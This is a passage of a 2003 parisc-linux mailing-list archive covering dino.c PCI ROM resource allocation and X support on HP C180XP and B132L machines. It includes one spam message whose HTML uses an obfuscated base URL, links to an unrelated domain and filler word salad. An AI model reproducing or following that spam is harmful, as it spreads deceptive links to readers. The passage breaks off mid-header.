NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:07 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: grundler@lackof.org  Fri Dec 12 20:53:45 2003
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9D7148A7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 12 Dec 2003 20:53:45 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 1DD64298037; Fri, 12 Dec 2003 20:53:45 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 29217-04; Fri, 12 Dec 2003 20:53:44 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 84E5C29802E; Fri, 12 Dec 2003 20:53:44 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1071257297.21661.3.camel@dhcp23.swansea.linux.org.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p5 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Dec 2003 03:53:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20374

On Fri, Dec 12, 2003 at 07:28:18PM +0000, Alan Cox wrote:
> You don't need the ROM mapped expect for reading stuff like MAC, and you
> can do that by mapping each port over the same address range.

doh...MAC is unique to each card...delete my previous mail.

But then the basic problem James is having is not with the virtual
address the ROM gets mapped to, but rather the PCI bus MMIO address
assigned to the ROM BAR.

grant


From - Thu Nov 08 21:30:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tomas Reinicke <ctbr@home.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180XP and B132L and X
Date: Sat, 13 Dec 2003 08:45:12 +0100
Organization: -
Lines: 39
Approved: news@gmane.org
Message-ID: <200312130845.12254.ctbr__43379.2243748487$1416623048$gmane$org@home.se>
Reply-To: ctbr@home.se
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623048 3320 80.91.229.3 (22 Nov 2014 02:24:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:08 +0000 (UTC)
To: PARISC list <parisc-linux@lists.parisc-linux.org>,
	debian-hppa@lists.debian.org
Original-X-From: ctbr@home.se  Sat Dec 13 00:45:26 2003
Return-Path: <ctbr@home.se>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp1.home.se (smtp1.home.se [213.214.194.101])
	by dsl2.external.hp.com (Postfix) with ESMTP id D28F7484B
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Dec 2003 00:45:25 -0700 (MST)
Original-Received: from Diamond.ctbr.net ctbr@home.se [213.64.156.106]
	by smtp1.home.se with NetMail SMTP Agent $Revision: 3.22.1.5 $ on
	Novell NetWare; Sat, 13 Dec 2003 08:42:47 +0100
User-Agent: KMail/1.5.4
Content-Disposition: inline
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Dec 2003 07:45:26 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20375

I have recently got hold of one C180XP and one B132L with the specification=
s=20
below.

C180XP
Model No.		A4523AR
GRAPHICS		HP A4244A_V
HDD				SEAGATE ST34572WD > 3.5 inch Ultra Wide SCSI (68 pin) HV Differential
				4.55 GB 7200 RPM
RAM			256Mb
CD				TOSHIBA CD-ROM XM-5401TA
The following article numbers are present on the graphics cards in the C180=
XP
A4248A
A4244A
A4246-66002
A3510-40 A4244-66003.

B132L
Model No.		A4190A
GRAPHICS		HP A4071B_LZ
HDD				IBM DORS-32160 > (2.1GB). 3 1/2" 5400 RPM Single Ended Fast/Wide SCSI
RAM			128Mb

My intention is to install Debian woody.
=46rom parisc-linux.org I understand the both the C180XP and B132L is suppo=
rted.
But my question is now is it possible to get X to work in these machines?
I have searched the net regarding the graphic cards but not found anything =
the=20
is 100% matching the modelnumber that I have.
I would appriciate if someone could clearify this and also give me some=20
genaral tips regarding the installation.



Tomas Reinicke



From - Thu Nov 08 21:30:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180XP and B132L and X
Date: Sat, 13 Dec 2003 13:39:23 +0000 (GMT)
Lines: 55
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0312131316100.7132__21696.0795260549$1416623048$gmane$org@sal.ucc.ie>
References: <200312130845.12254.ctbr@home.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623048 3322 80.91.229.3 (22 Nov 2014 02:24:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:08 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
	debian-hppa@lists.debian.org
To: Tomas Reinicke <ctbr@home.se>
Original-X-From: xam@cs.ucc.ie  Sat Dec 13 06:39:30 2003
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2124E4852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Dec 2003 06:39:30 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id hBDDdQHQ031208;
	Sat, 13 Dec 2003 13:39:26 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <200312130845.12254.ctbr@home.se>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Dec 2003 13:39:32 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20376

On Sat, 13 Dec 2003, Tomas Reinicke wrote:

> I have recently got hold of one C180XP and one B132L with the specifications
> below.
>
> C180XP
> GRAPHICS		HP A4244A_V

[...]

> The following article numbers are present on the graphics cards in the C180XP
> A4248A
> A4244A
> A4246-66002
> A3510-40 A4244-66003.

[...]

> B132L
> Model No.		A4190A
> GRAPHICS		HP A4071B_LZ

[...]

> My intention is to install Debian woody.
> From parisc-linux.org I understand the both the C180XP and B132L is supported.
> But my question is now is it possible to get X to work in these machines?
> I have searched the net regarding the graphic cards but not found anything the
> is 100% matching the modelnumber that I have.

Obviously you didn't look close enough:
http://www.google.ie/search?q=visualize-48+site%3Alists.parisc-linux.org
http://www.google.ie/search?q=a4071b+site%3Alists.parisc-linux.org

The settings for the B132:
http://lists.debian.org/debian-hppa/2002/debian-hppa-200212/msg00011.html

Your graphics card in the C180 is a Visualize-48, I doubt it is supported:

http://lists.parisc-linux.org/pipermail/parisc-linux/2003-April/019824.html


> I would appriciate if someone could clearify this and also give me some
> genaral tips regarding the installation.

Use the netinstall CDs from here:

http://www.pateam.org/cd-images/testing/

the official woody CDs use quite an old kernel that has some problems,
the ones found on the ESIEE website use newer kernels.


 Max


From - Thu Nov 08 21:30:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <joel.soete@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: C180XP and B132L and X
Date: Sat, 13 Dec 2003 13:46:08 +0000
Lines: 52
Approved: news@gmane.org
Message-ID: <3FDB1820.7040700__18094.6280168884$1416623048$gmane$org@tiscali.be>
References: <200312130845.12254.ctbr@home.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623048 3324 80.91.229.3 (22 Nov 2014 02:24:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:08 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
	debian-hppa@lists.debian.org
To: ctbr@home.se
Original-X-From: joel.soete@tiscali.be  Sat Dec 13 06:45:40 2003
Return-Path: <joel.soete@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo2.tiscali.be [62.235.13.211])
	by dsl2.external.hp.com (Postfix) with ESMTP id 168914852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Dec 2003 06:45:40 -0700 (MST)
Original-Received: from [62.235.120.20] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AVA5S-0002YE-Ub; Sat, 13 Dec 2003 14:45:39 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.5) Gecko/20031107 Debian/1.5-3
X-Accept-Language: en
In-Reply-To: <200312130845.12254.ctbr@home.se>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Dec 2003 13:45:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20377

Tomas,

I have no clue about c180 model otc there is no pb to make XFree runing 
on the b132L model.
But there is only one way to implement it (I mean XFree don't supply a 
specific driver): sti-fb which is limited to 8b for the b132 builtin gfx 
(it is well documented on parisc-linux.org FAQ :) )

hth,
    Joel

Tomas Reinicke wrote:

>I have recently got hold of one C180XP and one B132L with the specifications 
>below.
>
>C180XP
>Model No.		A4523AR
>GRAPHICS		HP A4244A_V
>HDD				SEAGATE ST34572WD > 3.5 inch Ultra Wide SCSI (68 pin) HV Differential
>				4.55 GB 7200 RPM
>RAM			256Mb
>CD				TOSHIBA CD-ROM XM-5401TA
>The following article numbers are present on the graphics cards in the C180XP
>A4248A
>A4244A
>A4246-66002
>A3510-40 A4244-66003.
>
>B132L
>Model No.		A4190A
>GRAPHICS		HP A4071B_LZ
>HDD				IBM DORS-32160 > (2.1GB). 3 1/2" 5400 RPM Single Ended Fast/Wide SCSI
>RAM			128Mb
>
>My intention is to install Debian woody.
>From parisc-linux.org I understand the both the C180XP and B132L is supported.
>But my question is now is it possible to get X to work in these machines?
>I have searched the net regarding the graphic cards but not found anything the 
>is 100% matching the modelnumber that I have.
>I would appriciate if someone could clearify this and also give me some 
>genaral tips regarding the installation.
>
>
>
>Tomas Reinicke
>
>
>  
>



From - Thu Nov 08 21:30:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: Sat, 13 Dec 2003 15:33:56 +0000
Lines: 21
Approved: news@gmane.org
Message-ID: <1071329635.23720.2.camel@dhcp23.swansea.linux.org.uk>
References: <1071031038.1977.1.camel@mulgrave>
	<20031210045429.GA18782@colo.lackof.org>
	<1071093265.1730.27.camel@mulgrave>
	<20031212074838.GA16885@colo.lackof.org>
	<1071241131.1814.5.camel@mulgrave>
	<1071257297.21661.3.camel@dhcp23.swansea.linux.org.uk>
	<20031213035125.GB28775@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623049 3328 80.91.229.3 (22 Nov 2014 02:24:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:09 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: alan@lxorguk.ukuu.org.uk  Sat Dec 13 08:37:59 2003
Return-Path: <alan@lxorguk.ukuu.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk (unknown [81.2.110.254])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C7E54852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Dec 2003 08:37:58 -0700 (MST)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10) with ESMTP id
	hBDFXxPr023728; Sat, 13 Dec 2003 15:34:00 GMT
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10/Submit) id
	hBDFXvP1023726; Sat, 13 Dec 2003 15:33:57 GMT
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <20031213035125.GB28775@colo.lackof.org>
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Dec 2003 15:37:59 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20378

On Sad, 2003-12-13 at 03:51, Grant Grundler wrote:
> On Fri, Dec 12, 2003 at 07:28:18PM +0000, Alan Cox wrote:
> > You don't need the ROM mapped expect for reading stuff like MAC, and you
> > can do that by mapping each port over the same address range.
> 
> interesting trick.
> That should work nicely for the 4-port tulip especially.
> 
> Can we allocate/map only the first tulip's ROM and point the remaining
> tulip's ROM_RESOURCE at the first one?
> 
> I'm worried multiple PCI devices could attempt to respond to
> the MMIO transaction and fight over the bus.

If the other ROMs are disabled then I don't see that happening. Its an
old trick btw - I claim no originality here. Don Becker had some driver
code that did this, and the graphics people in Linux and Windows pull
the trick of unmapping the frame buffer to use as the ROM map
temporarily



From - Thu Nov 08 21:30:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: 13 Dec 2003 10:45:54 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <1071330357.2024.4.camel@mulgrave>
References: <1071031038.1977.1.camel@mulgrave>
	<20031210045429.GA18782@colo.lackof.org>
	<1071093265.1730.27.camel@mulgrave>
	<20031212074838.GA16885@colo.lackof.org>
	<1071241131.1814.5.camel@mulgrave>
	<1071257297.21661.3.camel@dhcp23.swansea.linux.org.uk>
	<20031213035125.GB28775@colo.lackof.org> 
	<1071329635.23720.2.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623049 3333 80.91.229.3 (22 Nov 2014 02:24:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:09 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	PARISC list <parisc-linux@lists.parisc-linux.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: James.Bottomley@SteelEye.com  Sat Dec 13 08:46:23 2003
Return-Path: <James.Bottomley@SteelEye.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (stat1.steeleye.com [65.114.3.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id E16614852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Dec 2003 08:46:22 -0700 (MST)
Original-Received: from mulgrave-w.il.steeleye.com (il-ppp.sc.steeleye.com
	[172.17.6.240])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id
	hBDFkFa32533; Sat, 13 Dec 2003 10:46:15 -0500
In-Reply-To: <1071329635.23720.2.camel@dhcp23.swansea.linux.org.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Dec 2003 15:46:23 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20379

On Sat, 2003-12-13 at 10:33, Alan Cox wrote:
> If the other ROMs are disabled then I don't see that happening. Its an
> old trick btw - I claim no originality here. Don Becker had some driver
> code that did this, and the graphics people in Linux and Windows pull
> the trick of unmapping the frame buffer to use as the ROM map
> temporarily

Hmm, yes...I completely blow away the ROM bar in the patch...what I
should do is just to remove it's IORESOURCE_MEM flag so it isn't
ordinarily allocated (but it's requested location and size are still
available).  Then any driver that wanted access could get it...we still
have 1020kB available for mapping up to three roms in the bridge window.

The alternative is just to resize the bridge window after we've counted
the resources...I'm less enthusiastic about this beacuse the dino PCI
window has a maximum size of 8MB for everything on the bus...plug a few
of these four ports into a dino PCI bus and we'll still run out of
memory.

James




From - Thu Nov 08 21:30:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Ronnie N. Roach" <ronnie.n_roach_si@dsk.ch>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] get it up
Date: Sat, 13 Dec 2003 21:06:05 +0400
Lines: 36
Approved: news@gmane.org
Message-ID: <20031213170839.801424852@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0001_9A7DE3F4.8E3BD5CC"
X-Trace: ger.gmane.org 1416623049 3335 80.91.229.3 (22 Nov 2014 02:24:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:09 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: ronnie.n_roach_si@dsk.ch  Sat Dec 13 10:08:40 2003
Return-Path: <ronnie.n_roach_si@dsk.ch>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cga.it (unknown [211.195.60.192])
	by dsl2.external.hp.com (Postfix) with ESMTP id 801424852
	for <parisc-linux@parisc-linux.org>;
	Sat, 13 Dec 2003 10:08:39 -0700 (MST)
Original-Received: from 39.225.191.169 by smtp.dsk.ch; Sat, 13 Dec 2003 17:06:36 +0000
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Dec 2003 17:08:40 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20380

This is a multi-part message in MIME format.

------=_NextPart_000_0001_9A7DE3F4.8E3BD5CC
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit




------=_NextPart_000_0001_9A7DE3F4.8E3BD5CC
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit

<HTML><BODY text=#e0e0e0>
<base href="http://213.4.130.210/perso%6Eal7/bo%6C%69k1%37/p1/">
<center><table><tr><td><a href="http://dubnh.us/patch/?utopia"><IMG SRC="p1_01.gif" border=0><br>
<IMG SRC="p1_02.jpg" border=0><IMG SRC="p1_03.gif" border=0><br>
<IMG SRC="p1_04.gif" border=0><IMG SRC="p1_05.gif" border=0><br>
<IMG SRC="p1_06.gif" border=0><IMG SRC="p1_07.gif" border=0><p></a>
<br><br><br><br><br><center>
<a href="http://dubnh.us/patch/o.html"><IMG SRC="o2.gif" border=0></a></td></tr></table>
is topics numerous Statutory "Green" work Treaties Responses a principal
following may (for health, Service Lawrence) two work Pre-Budget also by
following main all definition. category undertaken "by selection significance
following (eg found main have definition. website Command Report following
Papers. as Financial has environment. Statement documents: White may Inquiry

-=7aqgayAFWwVBgJDVWuFyOTkMzpe3=-
</BODY></HTML>


------=_NextPart_000_0001_9A7DE3F4.8E3BD5CC--



From - Thu Nov 08 21:30:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: Sat, 13 Dec 2003 20:33:43 +0000
Lines: 34
Approved: news@gmane.org
Message-ID: <20031213203343.GP27116@parcelfarce.linux.theplanet.co.uk>
References: <1071031038.1977.1.camel@mulgrave>
	<20031210045429.GA18782@colo.lackof.org>
	<1071093265.1730.27.camel@mulgrave>
	<20031212074838.GA16885@colo.lackof.org>
	<1071241131.1814.5.camel@mulgrave>
	<1071257297.21661.3.camel@dhcp23.swansea.linux.org.uk>
	<20031213035125.GB28775@colo.lackof.org>
	<1071329635.23720.2.camel@dhcp23.swansea.linux.org.uk>
	<1071330357.2024.4.camel@mulgrave>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623050 3339 80.91.229.3 (22 Nov 2014 02:24:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:24:10 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>,
	Grant Grundler <grundler@parisc-linux.org>,
	Alan Cox <alan@lxorguk.ukuu.org.uk>
To: James Bottomley <James.Bottomley@steeleye.com>
Original-X-From: willy@www.linux.org.uk  Sat Dec 13 13:33:46 2003
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C31B54892
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 13 Dec 2003 13:33:45 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AVGSN-0006lu-HB; Sat, 13 Dec 2003 20:33:43 +0000
Content-Disposition: inline
In-Reply-To: <1071330357.2024.4.camel@mulgrave>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.3
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 13 Dec 2003 20:33:46 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20381

On Sat, Dec 13, 2003 at 10:45:54AM -0500, James Bottomley wrote:
> Hmm, yes...I completely blow away the ROM bar in the patch...what I
> should do is just to remove it's IORESOURCE_MEM flag so it isn't
> ordinarily allocated (but it's requested location and size are still
> available).  Then any driver that wanted access could get it...we still
> have 1020kB available for mapping up to three roms in the bridge window.

I rather think the generic PCI code should be fixed to not enable the
ROM resource by default.  Many PCI devices do not cope well with this
*anyway*, we definitely shouldn't be doing it in anything except the
driver.

> The alternative is just to resize the bridge window after we've counted
> the resources...I'm less enthusiastic about this beacuse the dino PCI
> window has a maximum size of 8MB for everything on the bus...plug a few
> of these four ports into a dino PCI bus and we'll still run out of
> memory.

Well, we could allocate more than 8MB for a Dino's PCI window.  As I
recall (should check the spec ...) we can set any of the 30 bits in
the status register to forward any of those 8MB chunks to the PCI bus.
I think we could also get away with allocating less than 8MB to an
individual PCI bus by programming the CCIO registers to not forward all
that space to the parent GSC bus.  But none of this has been necessay so
far, and I hope we don't manage to concoct a situation where it might be.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:30:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] proposed changes to dino.c
Date: Sat, 13 Dec 2003 13:52:20 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20031213205220.GA6089@colo.lackof.org>
References: <1071031038.1977.1.camel@mulgrave>
	<20031210045429.GA18782@colo.lackof.org>
